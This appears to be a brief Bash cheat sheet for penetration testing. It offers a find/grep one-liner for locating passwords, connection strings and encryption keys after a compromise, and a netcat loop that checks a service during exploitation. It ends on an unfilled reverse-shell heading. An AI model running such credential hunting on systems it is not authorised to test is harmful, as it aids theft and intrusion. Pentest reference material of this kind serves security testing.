Bash

Finding Juicy Files

Search /PATH/TO/DIRECTORY for files of the type “FILE-FILTER” (e.g. *.txt) that contain the “STRING”, displaying the line of the file with “STRING” and the file name.

Find password files, database connection strings, encryption keys, and a many other useful items during post exploitation.

find /PATH/TO/DIRECTORY -name "FILE-FILTER" -type f -exec grep -i "STRING" {} \\; -print 2>/dev/null

Make Output Easier to Read

Cat a file using colourful output.

Review XML, code, or configuration files in a manner that is easier to read.

alias ccat='pygmentize -O bg=dark, style=colourful'

Check Service Every Second

Measure whether a service is still up by connecting to its port every 1 second.

Verify service is still running during exploitation.

while (true); do nc -vv -z -w3 10.10.10.10 80 > /dev/null && echo -e "Service is up"; sleep 1; done

Built-in Netcat Client

Create a reverse shell back to a given IP address or port.